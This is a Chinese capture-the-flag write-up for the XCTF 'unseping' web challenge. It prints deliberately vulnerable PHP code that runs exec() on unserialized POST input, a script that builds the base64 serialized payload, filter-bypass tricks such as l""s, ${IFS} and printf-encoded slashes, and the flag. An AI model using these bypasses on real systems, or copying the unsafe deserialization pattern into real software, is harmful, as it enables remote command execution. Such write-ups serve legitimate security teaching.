攻防世界-Web-unseping

知识点

1.php反序列化

2.命令执行绕过

步骤

打开网站,是php代码,审计。

php 复制代码
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) { //初始化
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){ 
        if (in_array($this->method, array("ping"))) { //判断method是否存在ping
            call_user_func_array(array($this, $this->method), $this->args); //调用method,参数为args
        }
    } 
 
    function ping($ip){
        exec($ip, $result); //执行ip,结果为result,并输出
        var_dump($result);
    }

    function waf($str){ //过滤函数,过滤了,/,cat,flag等
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){ //调用waf,反序列化时调用
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

综上,post接受ctf数据,将method为ping,参数为要执行的命令,并绕过waf。

注意:这里的参数是数组,因为在__wakeup中foreach是k,v的形式。

1.基本反序列化代码

php 复制代码
<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$a = new ease('ping',array('ls')); 
$b = serialize($a);
echo($b);
echo(base64_encode($b));
?>

2.绕过ls

使用l""s或者l''s

3.绕过空格

使用${IFS}

4.绕过/

使用$(printf "\57")

flag{de2e33ce-fdfe-4132-87ba-3b97d641a9f7}

相关推荐
Demons_kirit16 小时前
实验:文件路径遍历,简单情况(Lab: File path traversal, simple case)
网络安全
sbjdhjd17 小时前
SQL 注入零基础详解:原理、手工注入流程与 Sqli-Labs 靶场实战1~5关和第9关思路
数据库·sql·计算机网络·web安全·网络安全·网络攻击模型·安全架构
学习溢出18 小时前
【网络安全】Living off the Land 攻击 | 蓝队防守
安全·web安全·网络安全
学逆向的19 小时前
汇编——寻址方式
开发语言·汇编·网络安全
jieyucx1 天前
Nuxt4阶段六:工程化与进阶 —— 模块、中间件、插件、TS 与测试
中间件·vue·web·nuxt·全栈·ssr
上海云盾-高防顾问2 天前
SD-WAN 跨境加速,真实日常使用体验
网络·网络安全
中北marry2 天前
玄机靶场wp 应急响应-webshell查杀
网络安全
爱网络爱Linux2 天前
HCIA-Security(1)网络安全常见的威胁
web安全·网络安全·hcia-security·hcia安全·华为网络安全·网络安全常见的威胁
我不是QI3 天前
一、主持人信息(域名 网站资产情报搜集)原理解析
安全·网络安全
lubiii_3 天前
网络安全法律法规备考速查手册
安全·web安全·网络安全